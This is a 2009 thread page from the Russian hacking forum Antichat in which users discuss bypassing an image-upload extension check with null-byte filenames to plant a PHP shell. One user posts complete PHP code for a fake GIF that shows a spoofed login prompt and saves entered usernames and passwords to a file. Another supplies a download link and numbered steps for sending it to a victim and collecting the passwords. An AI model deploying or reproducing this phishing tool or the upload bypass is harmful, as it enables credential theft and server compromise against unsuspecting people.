ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #8131  
Старый 16.07.2009, 16:42
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

kartinko.php%00.jpg можно попробовать:

Код:
<?php
$uploaded_name = 'text.php%00.jpg';
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
echo $uploaded_ext;
?>
 
Ответить с цитированием

  #8132  
Старый 16.07.2009, 16:46
Аватар для wolmer
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Цитата:
Сообщение от Pashkela  
kartinko.php%00.jpg можно попробовать:

Код:
<?php
$uploaded_name = 'text.php%00.jpg';
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
echo $uploaded_ext;
?>
Не помогает(хотя была такая идея но и не помогает она после того как я испробывал)... Так как переиминовывается почему то в my.php%2500.jpg
 
Ответить с цитированием

  #8133  
Старый 16.07.2009, 17:35
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Странно, только что погонял локально с помощью такой формы:

PHP код:
<?php
if (isset($_POST['Upload'])) {  

            
$target_path "/home/dfgdf/http/";  
            
$target_path $target_path basename($_FILES['uploaded']['name']);   
            
$uploaded_name $_FILES['uploaded']['name'];
            
$uploaded_ext substr($uploaded_namestrrpos($uploaded_name'.') + 1);  
            
$uploaded_size $_FILES['uploaded']['size'];  

            if ((
$uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size 100000)){  
                if(!
move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {  
                    echo 
'<pre>Your image was not uploaded.</pre>';  
                } else {  
                    echo 
'<pre>' $uploaded_name ' succesfully uploaded! </pre>';  
                }       
            } else {  
                echo 
'<pre>Your image was not uploaded.</pre>';  
            }  
}  
?>

<form enctype=multipart/form-data  method=post><input name=uploaded type=file><input type=submit name=Upload>
Всё загружается как есть, php не прокатит, т.е. в итоге если загрузил 5.php%00.jpg - то локально так файл называться и будет, если загрузил 5.php%2500.jpg - то локально так файло называться и будет, в браузере есс-но не отображается - пишет
Код:
requested URL /5.php was not found on this server
Т.е. при обращению по урл - да, разрешние второе обрезается, в случае сохранения %00.jpg, а вот откуда там берется %2500.jpg - непонятно, возможно не весь код показал

Так что не получиться, разрешение четко отсекает, если не jpg - гуляй Василий

ЗЫЖ Ну по крайней мере это мой мнение

Тестил при всяких маджиках и он и офф - одна фигня. Если только локальный инклуд, он так можно и просто в картинку код запихать

Последний раз редактировалось Pashkela; 16.07.2009 в 17:43..
 
Ответить с цитированием

  #8134  
Старый 16.07.2009, 18:08
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Pashkela, ты не прав... теория это конечно хорошо, но практика важнее. Когда ты перехватываешь данные с помощью Tamper Data и вставляешь %00 в имя файла, ты забываешь, что это не GET а POST данные, другими словами когда ты вставил %00 надо еще раскодировать данные (правой кнопкой на названии массива и в полученной менюшке пункт раскодировать)
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #8135  
Старый 16.07.2009, 18:51
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

2 Scipio:

Непонятно что-то, объясни тупому, ну тыкнул на POST_DATA, нажал раскодировать, и что дальше? Можно шелл залить? Ты имеешь в виду, что делается urldecode? И что это нам может дать? Ну вставил туда %00 или наоборот убрал - проверяется все равно позже в данном конкретном примере. Чото недогоняю

Не, понятно, что принцип как у Шанкара в сплойте для PHPBB примерно, только все равно не понятно. На пальцах бы объяснить
 
Ответить с цитированием

  #8136  
Старый 16.07.2009, 19:18
Аватар для Staratel
Staratel
Познающий
Регистрация: 03.02.2009
Сообщений: 32
Провел на форуме:
326183

Репутация: 18
По умолчанию

РЕБЯТА ПОМОГИТЕ ПОЖАЛУЙСТА!!!!!!!!!!!!!!!!!!!!!!!!



Покажите примерчик скл уязвы какой нить как в ней правильно изменить переменные
с update или другой..
Спасиба!
 
Ответить с цитированием

  #8137  
Старый 16.07.2009, 22:30
Аватар для piton
piton
Новичок
Регистрация: 14.09.2006
Сообщений: 17
Провел на форуме:
96999

Репутация: 0
По умолчанию

Народ а тема c php кодом в .gif файле больше не работает ? чтобы вместе с картинкой авторизация вылетала...
<?
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="http://victim/ - Login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
 
Ответить с цитированием

  #8138  
Старый 16.07.2009, 22:42
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Staratel, изменять даных в инъекциях нельзя.
piton, все работает. Надо только правильно настроить.
 
Ответить с цитированием

  #8139  
Старый 16.07.2009, 22:57
Аватар для piton
piton
Новичок
Регистрация: 14.09.2006
Сообщений: 17
Провел на форуме:
96999

Репутация: 0
По умолчанию

настроил и файл .htaccess и тд раньшевсе работало а щас ниодин браузер не понимает.
 
Ответить с цитированием

  #8140  
Старый 17.07.2009, 09:25
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Вот, держи: http://bestquest.info/other/image.zip

Инструкция:
1. Заливаешь на хост.
2. Ставишь CHMOD 777 на папку, CHMOD 755 на скрипт.
3. Кидаешь ссылку кому-то на image.gif.
4. Если юзерр ввел пасс > 4 символа, смотришь файл passwords.txt (он создастся при вводе пароля).
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ